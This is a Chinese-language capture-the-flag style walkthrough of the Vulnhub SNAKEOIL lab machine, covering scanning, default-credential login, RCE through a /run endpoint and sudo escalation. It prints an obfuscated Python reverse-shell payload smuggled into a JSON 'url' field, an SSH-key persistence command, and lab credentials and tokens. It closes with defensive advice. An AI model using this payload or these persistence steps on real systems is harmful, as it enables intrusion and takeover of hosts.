[Vulnhub] SNAKEOIL GoodTech+RCE+SUDO权限提升
字数 879 2025-08-19 12:41:11

SNAKEOIL靶机渗透测试教学文档

靶机概述

SNAKEOIL是一台包含多个漏洞的Vulnhub靶机,涉及信息收集、Web应用漏洞利用、远程代码执行(RCE)和权限提升等技术点。本教学文档将详细分析渗透过程。

信息收集阶段

网络扫描

使用nmap进行端口扫描:

nmap -p- 192.168.101.154 --min-rate 1000 -sC -sV

扫描结果:

  • 22/tcp: OpenSSH 7.9p1
  • 80/tcp: nginx 1.14.2
  • 8080/tcp: nginx 1.14.2

Web目录扫描

使用dirb扫描Web目录:

dirb http://192.168.101.154:8080

发现关键路径:

  • /registration
  • /login
  • /secret
  • /run

Web应用漏洞利用

用户枚举

/registration路径发现用户信息:

  • 用户名: patrick
  • 密码哈希: $pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040

认证绕过

尝试使用默认凭证登录:

POST /login HTTP/1.1
{
  "username": "admin",
  "password": "admin123"
}

成功获取访问令牌:

access_token_cookie=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcyMTU3MDgwMCwianRpIjoiNjE5OWY5ZWMtZGQ1Ni00YzA2LTk5NjEtMjNiY2MyZmZhMDUzIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzIxNTcwODAwLCJleHAiOjE3MjE1NzE3MDB9.OASM_L1yp4HTQn-2DWL0RMqhMVmnQtwz3tj1GSMwHDc

敏感信息发现

访问/secret端点,发现关键信息:

commandexecutionissecret

远程代码执行(RCE)

命令执行端点

发现/run端点接受JSON输入:

POST /run HTTP/1.1
{
  "url": "127.0.0.1:22",
  "secret_key": "commandexecutionissecret"
}

RCE利用

构造反向shell payload:

{
  "url": "2>null;`p='pyt';b='hon';$p$b -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.101.128\",10032));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;ip=\"ba\";a=\"sh\"; pty.spawn(ip+a)'`", 
  "secret_key": "commandexecutionissecret"
}

成功获取本地shell访问权限。

权限提升

横向移动

  1. 在patrick用户目录下发现.ssh文件夹
  2. 添加攻击者公钥到authorized_keys
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOAuKxlopDqsLWIAFeZFEOiSBz9K/go+OybYs5gwGEBE maptnh@maptnh' > authorized_keys

密码发现

检查/home/patrick/flask_blog/app.py文件,发现硬编码密码:

NOreasonableDOUBTthisPASSWORDisGOOD

Sudo权限提升

patrick用户具有sudo权限:

sudo /bin/bash

使用发现的密码成功提权至root。

总结

本靶机渗透过程涉及以下关键技术点:

  1. 信息收集:端口扫描、目录爆破
  2. Web漏洞利用:默认凭证、敏感信息泄露
  3. 远程代码执行:通过构造恶意输入实现
  4. 权限提升:SSH密钥注入、sudo提权

防御建议

  1. 避免使用默认或弱密码
  2. 不要将敏感信息硬编码在代码中
  3. 限制sudo权限
  4. 对用户输入进行严格过滤
  5. 定期更新服务组件
  6. 禁用不必要的服务
SNAKEOIL靶机渗透测试教学文档 靶机概述 SNAKEOIL是一台包含多个漏洞的Vulnhub靶机,涉及信息收集、Web应用漏洞利用、远程代码执行(RCE)和权限提升等技术点。本教学文档将详细分析渗透过程。 信息收集阶段 网络扫描 使用nmap进行端口扫描: 扫描结果: 22/tcp: OpenSSH 7.9p1 80/tcp: nginx 1.14.2 8080/tcp: nginx 1.14.2 Web目录扫描 使用dirb扫描Web目录: 发现关键路径: /registration /login /secret /run Web应用漏洞利用 用户枚举 在 /registration 路径发现用户信息: 用户名: patrick 密码哈希: $pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040 认证绕过 尝试使用默认凭证登录: 成功获取访问令牌: 敏感信息发现 访问 /secret 端点,发现关键信息: 远程代码执行(RCE) 命令执行端点 发现 /run 端点接受JSON输入: RCE利用 构造反向shell payload: 成功获取本地shell访问权限。 权限提升 横向移动 在patrick用户目录下发现 .ssh 文件夹 添加攻击者公钥到 authorized_keys : 密码发现 检查 /home/patrick/flask_blog/app.py 文件,发现硬编码密码: Sudo权限提升 patrick用户具有sudo权限: 使用发现的密码成功提权至root。 总结 本靶机渗透过程涉及以下关键技术点: 信息收集:端口扫描、目录爆破 Web漏洞利用:默认凭证、敏感信息泄露 远程代码执行:通过构造恶意输入实现 权限提升:SSH密钥注入、sudo提权 防御建议 避免使用默认或弱密码 不要将敏感信息硬编码在代码中 限制sudo权限 对用户输入进行严格过滤 定期更新服务组件 禁用不必要的服务